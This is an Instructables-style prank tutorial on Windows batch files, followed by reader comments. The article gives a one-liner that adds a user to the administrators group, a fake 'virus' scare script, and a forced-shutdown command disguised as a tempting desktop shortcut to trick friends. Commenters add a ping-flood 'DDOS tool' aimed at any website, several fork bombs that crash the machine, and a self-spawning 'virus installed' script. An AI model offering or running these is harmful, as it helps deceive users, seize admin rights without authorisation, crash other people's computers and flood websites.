Fun Things to Do With Batch Files

360,450

33

141

Posted in PlayPranks-and-humor

Introduction: Fun Things to Do With Batch Files

ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

Step 1: Fun Thing #1

this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)

Step 2: Fun Thing # 2

of course, theres the slightly-more-legal-but-still-annoying-fun field of pranking your friends. these work really well of someone who isn't that computer smart. Of course these are all harmless and will cause no damage. The worst thing that could possibly happen is their computer freezes. they restart. its fine. yippee.

Try this:
@echo off
echo You have been infected.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo The virus will now proceed to delete your entire hard drive.....thank you for being patient...
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
msg * press ok to stop the virus
msg * haha i lied. the virus will now continue :D have a nice day.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting.......
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo YOU'VE BEEN FOOLED. THERE IS NO VIRUS.
pause

what it looks like:

Step 3: Ah the Evil One.

This one can be especially mean if you screw with it too much.
There are many variations, because its only one line. all you do is type:

shutdown -f -s -c "your message here".

This will shutdown the computer when run, displaying a timer and a message of your choice.
if you accidentally run this program on yourself, go and type shutdown -a in the command prompt. this aborts the forced shutdown.

see the -f -s -c part? those are arguments. you can use those and the ones in the list below in any combination you like.

-s <- this shuts down the computer
-r <- this restarts the computer
-l <- this logs off the user
-f <- this forces all programs running to shutdown
-t <- this is the time limit until shutdown (the time is in seconds so -t 60 means 60 seconds until the shutdown commences )
try not to mix -s and -r and -l, only use one at a time, as i cannot guarantee what happens when you mix them.

Now you're probably like WTF? i don't know how to use this in a batch file.....no ones dumb enough to run it.....

Solution: Create a shortcut on the desktop, and give it a nice icon / name (something a curious friend will open)
In the box where it says location type your shutdown code (the above stuff)
*curious friend opens it* and his computer shuts down :D
another solution
Tha code:

@echo off
echo you've been infected with a fun little virus that will now wipe out your computer.
echo please wait .........
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo done!
pathping localhost -q 2 -p 250 > nul
shutdown -f

This closes all their programs, making them think thier drives are wiped :P

Step 4: Just a Reminder

AGAIN: SEND ANY IDEAS FOR A NEW BATCH RELATED (hell, any idea is good, even non batch) INSTRUCTABLE AND I WILL PUBLISH IT (batch preferred though, im really good at that and will get done faster). AGAIN, YOUR NAME WILL BE MENTIONED :D

Dead line is august 27nd. no entries accepted on the 28th.

send ideas here with subject line batch idea:

g_colonna@sympatico.ca

thanks for reading!

~PaRaDoX / Kerpaul (to clarify for those who didn't read my second, yes i'm both of these people.)

Share

    Recommendations

    • Spotless Contest

      Spotless Contest
    • Make it Move Contest

      Make it Move Contest
    • Woodworking Contest

      Woodworking Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    141 Comments

    DDOS Tool:

    @echo off

    :menu

    title DDOS Tool by WolfBitez

    color 0a

    echo ==========

    echo DDOS Tool

    echo ==========

    echo.

    echo - DDOS

    echo - Exit

    echo.

    set /p op=Run:

    if %op%==DDOS goto a

    if %op%==ddos goto a

    if %op%==Exit goto b

    if %op%==exit goto b

    :a

    cls

    title DDOS Execution

    echo ==========

    echo DDOS Tool

    echo ==========

    echo.

    echo Please name a website to DDOS

    echo.

    set /p site=Website:

    echo.

    echo Now select the amount of bytes to DDOS the site with. Ranges from 0-65500.

    echo.

    set /p packet=Bytes:

    echo.

    echo Want this to be endless? If so, type -t below. If not, leave it blank.

    set /p t=Endless:

    echo You are about to DDOS %site% with %packet% bytes of data.

    echo Press Ctrl+C to terminate the job.

    echo.

    ping %site% %t% -l %packet%

    ping localhost >nul

    cls

    goto menu

    :b

    echo.

    echo Thank you for using DDOS tool by WolfBitez.

    ping localhost >nul

    EXIT

    2 replies

    that's a ping script you normie

    You know this doesn't work right? It isn't using the right protocol. And technically it would be a DoS tool. "DDoS" means "Distributed denial of service", which means it comes from multiple different computers. "DoS" Means "Denial of service" which means it's coming from one computer.

    I msde a batch of an OS Called Windows Basic Editon here is code:
    title Windows Basic Editon- Created By Christian James Matthy

    X=MsgBox("Welcome To Windows BASIC EDITION!",0+16"Welcome! :DDD")
    @echo off
    color 1b
    cls

    @echo off
    color 1b
    cls

    :bootscreen
    cls
    set /p password= Password:
    if %password% == MatthyPlayz desktop
    if not %password% == MatthyPlayz goto bootscreentwo

    :desktop
    cls
    color 0a
    cls
    echo Welcome, Owner Christian Matthy.
    echo.
    echo Date: %date% Time: %time%
    echo
    echo 1)Write text file.
    echo 2)Documents...
    echo 3) Info
    echo 4) Calculator
    echo 5) Notepad (open in your main Windows OS)
    echo 6) Close Windows Basic Edition
    echo 7) Open Google (Quick way)
    echo 8) Open The Folder Containing This Package (Quick way)
    echo 9) randomness
    echo 10) matrix
    echo 11) Open Info (In a message box)
    echo 12) CreateABatch.zip
    set /p menuselect=
    if %menuselect% == 1 goto write
    if %menuselect% == 2 goto docs
    if %menuselect% == 3 goto info
    if %menuselect% == 4 goto calc
    if %menuselect% == 5 goto notepad
    if %menuselect% == 6 goto close
    if %menuselect% == 7 goto google
    if %menuselect% == 8 goto packageinfolder
    if %menuselect% == 9 goto random
    if %menuselect% == 10 goto randomtwo
    if %menuselect% == 11 goto openinfoinmsgbox
    if %menuselect% == 12 goto batch
    :write
    cls
    echo Welcome to Write, an application which let's you write text files...
    echo What will be the name of your text?
    set /p writeone= Name:
    cls
    echo Ok, your file has been created. Have fun!
    pause
    cls
    set /p textone=
    pause
    echo You will be going back to the desktop

    pause
    goto desktop

    :docs
    cls
    echo 1)%writeone%
    echo 2)%writetwo%
    echo 3)%writethree%
    set /p browse=
    if %browse% == 1 goto textone
    if %browse% == 2 goto texttwo
    if %browse% == 3 goto textthree

    :textone
    cls
    echo %writeone%
    echo %textone%
    pause
    goto desktop

    :texttwo
    cls
    echo %writetwo%
    echo %texttwo%
    pause
    goto desktop

    :textthree
    cls
    echo %writethree%
    echo %textthree%
    pause
    goto desktop

    :info
    echo Windows Basic Edition (Shows Coding)
    echo Created by Christian James Matthy
    pause
    goto desktop

    :calc
    cls
    set /p equ=
    set /a equ=%equ%
    cls
    echo %equ%
    pause
    goto desktop

    :notepad
    START /MAX C:\Windows\NOTEPAD.EXE

    :close
    close

    :google
    START CHROME www.google.com

    :packageinfolder
    START F:\
    START E:\

    :bootscreentwo
    goto bootscreen

    :random
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%
    echo %random%

    :randomtwo
    echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
    pause
    goto desktop

    :openinfoinmsgbox
    msg * Windows Basic Edition (Shows Coding) Created by Christian James Matthy

    :batch
    cls
    echo Welcome to Project Folder Creator.
    echo Will create the following folder:
    echo %foldername%
    echo If this is okay,
    pause
    cls

    set foldername=Project_ONE


    md %foldername%
    cd %foldername%


    md cache
    cd cache
    md proxies
    cd..


    md footage
    cd footage
    md img seq
    cd..


    md preview
    md projectfiles
    md references
    md renders
    cd renders
    md passes
    cd..



    cls
    cd..
    start %foldername%
    cd %foldername%
    echo Batch Complete!
    tree
    pause

    pause
    goto desktop

    I know it is a bit late but this is almost an instant crash or freeze:

    @echo off

    Color 0A

    title By 321BoB123

    Pushd "%~dp0"

    :A

    Echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    start F_K_D_B.bat

    goto A

    How do you do the administrator one? It keeps saying access denied.

    5 replies

    Press Windows Key + X then click Command Prompt (Admin) and try it again.

    Do u need to be admin to modify a users password. And it also says acces denied or system error 5 when i try it on my admin.user.

    Its a bad idea to run this:

    @echo off

    :crash

    start

    goto crash

    FORK BOMB!!! *DONT RUN UNLESS YOU WANT TO SLOW DOWN COMPUTER (TEMP) and crash it :P!! *WAY WORSE THAN a RUN loop >:)

    To stop it you will prob have to hold power button

    CODE( just because there isnt much code doesnt mean it isnt destructive (temp):

    :fork

    %0|%0

    start %0

    goto :fork

    this one is very annoying

    @echo off

    SET mypath=%~dp0

    echo virus installing...

    type NUL > START.bat

    ECHO @echo off >> START.bat

    ECHO SET mypath=%~dp0 >> START.bat

    ECHO echo %mypath:~0,-1% >> START.bat

    ECHO type NUL > batchfile.bat >> START.bat

    ECHO ECHO @echo off >> batchfile.bat >> START.bat

    ECHO ECHO SET mypath=%~dp0 >> batchfile.bat >> START.bat

    ECHO type NUL > batchfile.bat >> START.bat

    ECHO ECHO type NUL > batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO ECHO @echo off >> batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO ECHO SET mypath=%~dp0 >> batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO ECHO start "%mypath:~0,-1%" batchfile >> batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO ECHO start "%mypath:~0,-1%" START >> batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO ECHO timeout/t 1/nobreak >nul% >> batchfile.bat >> batchfile.bat >> START.bat

    ECHO ECHO start "%mypath:~0,-1%" batchfile >> batchfile.bat >> START.bat

    ECHO ECHO start "%mypath:~0,-1%" START >> batchfile.bat >> START.bat

    ECHO ECHO timeout/t 1/nobreak >nul% >> batchfile.bat >> START.bat

    ECHO ECHO end >> batchfile.bat >> START.bat

    ECHO start "%mypath:~0,-1%" batchfile >> START.bat

    ECHO start "%mypath:~0,-1%" START >> START.bat

    ECHO timeout/t 1/nobreak >nul >> START.bat

    ECHO end >> START.bat

    type NUL > desktopsmapper.bat

    ECHO @echo off >> desktopsmapper.bat

    ECHO SET mypath=%~dp0>> desktopsmapper.bat

    ECHO echo save as desktopspammer.bat>> desktopsmapper.bat

    ECHO start "%mypath:~0,-1%" desktopspammer>> desktopsmapper.bat

    ECHO cd "%systemdrive%/documents and settings/%username%/desktop">> desktopsmapper.bat

    ECHO set /p x= name of folder : %random%>> desktopsmapper.bat

    type NUL > unstoppable.bat

    ECHO @echo off >> unstoppable.bat

    ECHO SET mypath=%~dp0 >> unstoppable.bat

    ECHO start unstoppable "%mypath:~0,-1%" >> unstoppable.bat

    ECHO start START "%mypath:~0,-1%" >> unstoppable.bat

    ECHO exit >> unstoppable.bat

    CLS

    msg *virus installed*

    timeout /t 2 /nobreak >nul

    start "%mypath:~0,-1%" START

    @ECHO OFF

    Color 0A

    cls

    title Sry for my bad english

    Echo do you alredy have a folder ? (Yes/No)

    set/p "ggg=>"

    if %ggg%==Yes goto 7767

    if %ggg%==yes goto 7767

    if %ggg%==no goto Erstellen

    if %ggg%==No goto Erstellen

    goto End

    :7767

    cls

    echo Whats the name of your folder ?

    set/p OrdnerName=

    echo.

    echo please enter the first code.

    set/p zufall=

    echo please enter the second code.

    set/p zufall2=

    echo.

    if NOT EXIST "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}" goto 7896

    goto 7575

    :7896

    cls

    Echo this folder doesent exist.

    Echo do you want to try to open your folder again ? (Yes/No)

    set/p "Harzz=>"

    if %Harzz%==Yes goto 7767

    if %Harzz%==yes goto 7767

    if %Harzz%==no goto End

    if %Harzz%==No goto End

    goto 7575

    if EXIST "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}" goto

    if NOT EXIST "%OrdnerName%" goto MDOrdner2

    echo Invalid choice.

    goto CONFIRM2

    :LOCK2

    cls

    ren %OrdnerName% "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}"

    attrib +h +s "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}"

    echo %OrdnerName% closed.

    timeout>nul /t 2

    goto End

    :455

    echo Zahlencode eingeben

    set/p "RRR=>"

    if NOT %RRR%==%zufall% goto FAIL2

    echo.

    :7575

    cls

    attrib -h -s "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}"

    ren "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}" %OrdnerName%

    echo folder unlocked.

    timeout>nul /t 2

    goto schliesen2

    :qwer

    taskkill explorer.exe

    goto LOCK2

    goto End

    :MDOrdner2

    md %OrdnerName%

    echo folder created.

    timeout>nul /t 2

    cls

    goto schliesen2

    :schliesen2

    cls

    Echo do you want to close the folder ? (Yes/No)

    set/p "Ordner=>"

    if %Ordner%==Yes goto LOCK2

    if %Ordner%==yes goto LOCK2

    if %Ordner%==no goto Weiter

    if %Ordner%==Nein goto Weiter

    :Erstellen

    Echo enter a name for your folder

    set/p OrdnerName=

    echo.

    :9898

    Echo please enter 4 code numbers

    Echo the numbers are realy important so dont forget them.

    set/p zufall2=

    echo.

    Echo please enter the second code for your folder (4 numbers)

    set/p zufall=

    echo.

    if EXIST "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}" goto 8989

    Echo Saved your codes.

    timeout>nul /t 2

    goto MDOrdner2

    :8989

    cls

    Echo this code is alredy taken enter another code.

    timeout>nul /t 2

    cls

    goto 9898

    1 reply

    falls Jemand seinen Ordner mit einem Passwort schützen möchte.

    Ist eine besser als die Standart Version

    @ECHO OFF
    Color 0A
    cls
    title Passwort geschuetzter Ordner
    Echo Hast du schon einen Ordner erstellt ? (Ja/Nein)
    set/p "ggg=>"
    if %ggg%==Ja goto 7767
    if %ggg%==ja goto 7767
    if %ggg%==nein goto Erstellen
    if %ggg%==Nein goto Erstellen
    goto End
    :7767
    cls
    echo Wie heist dein Ordner ?
    set/p OrdnerName=
    echo.
    echo bitte den ersten Zahlencode eingeben.
    set/p zufall=
    echo bitte den zweiten Zahlencode eingeben.
    set/p zufall2=
    echo.
    if NOT EXIST "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}" goto 7896
    goto 7575
    :7896
    cls
    Echo Dieser Ordner exestiert nicht.
    Echo Moechtest du erneut versuchen deinen Ordner zu oeffnen ? (Ja/Nein)
    set/p "Harzz=>"
    if %Harzz%==ja goto 7767
    if %Harzz%==Ja goto 7767
    if %Harzz%==Nein goto Weiter
    if %Harzz%==nein goto Weiter

    goto 7575
    if EXIST "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}" goto
    if NOT EXIST "%OrdnerName%" goto MDOrdner2
    echo Invalid choice.
    goto CONFIRM2
    :LOCK2
    cls
    ren %OrdnerName% "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}"
    attrib +h +s "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}"
    echo %OrdnerName% geschlossen.
    timeout>nul /t 2
    goto Weiter

    :455
    echo Zahlencode eingeben
    set/p "RRR=>"
    if NOT %RRR%==%zufall% goto FAIL2
    echo.
    :7575
    cls
    attrib h -s "Control Panel.{21EC%zufall2%-3AEA-1061-A2DD%zufall%2B30309D}"
    ren "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}" %OrdnerName%
    echo Ordner geoeffnet.
    timeout>nul /t 2
    goto schliesen2
    :qwer
    taskkill explorer.exe
    goto LOCK2
    goto End
    :MDOrdner2
    md %OrdnerName%
    echo Ordner erstellt.
    timeout>nul /t 2
    cls
    goto schliesen2
    :schliesen2
    cls
    Echo Ordner verschliesen ? (Ja/Nein)
    set/p "Ordner=>"
    if %Ordner%==Ja goto LOCK2
    if %Ordner%==ja goto LOCK2
    if %Ordner%==Nein goto Weiter
    if %Ordner%==nein goto Weiter
    :Erstellen
    Echo wie soll dein Ordner heisen ?
    set/p OrdnerName=
    echo.
    :9898
    Echo Bitte gib die erste 4stellige Zahl mit der dein Ordner verbunden wird ein.
    Echo Diese Codes sind sehr wichtig da der Ordner sonst nie wieder gefunden wird.
    set/p zufall2=
    echo.
    Echo Bitte gib die zweite 4stellige Zahl mit der dein Ordner verbunden wird ein.
    set/p zufall=
    echo.
    if EXIST "Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}" goto 8989
    Echo Deine angaben sind jetzt gespeichert.
    timeout>nul /t 2
    goto MDOrdner2
    :8989
    cls
    Echo die Zahl ist leider schon vergeben bitte gib eine neue ein.
    timeout>nul /t 2
    cls
    goto 9898

    user

    use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !